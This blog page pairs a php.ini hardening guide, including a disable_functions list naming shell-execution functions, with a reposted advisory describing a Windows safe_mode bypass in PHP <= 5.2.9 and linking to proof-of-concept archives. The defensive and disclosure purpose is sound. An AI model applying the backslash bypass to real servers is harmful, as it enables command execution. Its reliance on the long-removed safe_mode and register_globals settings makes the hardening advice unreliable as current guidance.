    PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.Yes PHP is a programming language that works on Linux and windows server. And this language helps in maintaining user accounts and server. I will tell you some feature to lock down PHP and securing it. Firstly I will tell you about how to edit php.ini as this is the main arrangement folder for php. You can do it by following way:

    Put On Safe Mode:
    You can safe guard your security and functions which you are using through this easy mode. You can work out over the security problems happening in shared server with the help of PHP safe mode. Although it not good to resolve the security problem at php level but as features of web server and OS stage are not very trustworthy many webmasters prefer and use safe mode. I will too suggest you to use safe mode if you are working on shared environment. It will help you to keep your data safe and untouchable.

    Exampel:
    safe_mode = On

    Discontinue Unsafe PHP functions:
    Through php your server can mess up with other server an there is danger that anyone can hack your account and can get your root. Many users prefer apprehensive php scripts as to get entry to your server and to provide dangerous commands and capture your server and put there control.

    Example:
    disable_functions = phpinfo,eval,system,shell_exec,passthru,popen

    Put Off Registers Global:
    Through registers global anybody can introduce any variable like in the form of HTML scripts to your data as it is very easy under php environment. Anybody can write insecure code as php does not involve variable initialization. Internal variables get mixed with the data send by any other user. Many peoples did not know that from were this unwanted data is coming and getting mixed with their variable.

    Example:
    register_globals = Off

    Work on PHPsuexec:
    The great problem with PHP is that on Cpanel servers it works as nobody and if any user sets a script to 777 admittance so it means nobody user has right to use that file and if any other user sharing the same server wrote some script to search 777 files can also get entry over the file and he can very easily introduce some unwanted material to your data and can remain unknown. And safe mode does not work over sharing other user’s files and here PHPsuexec helps to maintain privacy and stops one user to get through other users file. And with PHPsuexec you can very easily trace the other person who is doing spamming over your mails.
    Through the above explained function you can easily protect PHP on shared server. There is also one more method, through which you can protect files from other user so that he should be unable to read or to spam it, that is open base protection.

    Enable open_basedir
    When the open_basedir parameter is enabled, PHP will be able to access only those files, which are placed in the specified directories (and subdirectories).

    Example:
    open_basedir = /var/www/html

    Close display error
    If the display_errors parameter is turned off, PHP errors and warnings are not being displayed. Because such warnings often reveal precious information like path names, SQL queries etc., it is strongly recommended to turn this parameter off on production servers.

    Exampel:
    display_errors = Off

    Open error log
    When log_errors is turned on, all the warnings and errors are logged into the file that is specified by the error_log parameter. If this file is not accessible, information about warnings and errors are logged by the Apache server.

    Example:
    log_errors = On

    Error log filename
    This parameter specifies the name of the file, which will be used to store information about warnings and errors (attention: this file must be writeable by the user or group apache)

    Example:
    error_log = filename

    Tagged with:
    May 26

    Title  : PHP <= 5.2.9 SafeMod Bypass Vulnerability (win32)
    Affected Version : Tested on 5.2.8, 5.2.6 but previous versions maybe be afftect
    Vendor  Site   : www.php.net

    Vulnerability Discoverd by   : www.abysssec.com

    Description :

    Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
    the problem comes from OS behavior – implement  and interfacing between php
    and operation systems directory structure . the problem is php won’t tell difference
    between directory browsing in linux and windows this can lead attacker to ability
    execute his / her commands on targert machie even in SafeMod On  (php.ini setting) .

    Vulnerability :

    in linux when you want open a directory for example php directory you need
    to go to /usr/bin/php and you can’t use \usr\bin\php . but windows won’t tell
    diffence between slash and back slash it means there is no didffrence  between
    c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple
    php implement "\" character can escape safemode using  function like excec .

    PoC / Exploit :

    orginal : www.abysssec.com/safemod-windows.zip
    mirror  : www.milw0rm.com/sploits/2009-safemod-windows.zip

    note : this vulnerabities is just for educational purpose and showing vulnerability exist
    so author will be not be responsible for any damage using this vulnerabilty.

    for more information visit Abysssec.com
    feel free to contact me at admin [at] abysssec.com

    Tagged with:
    preload preload preload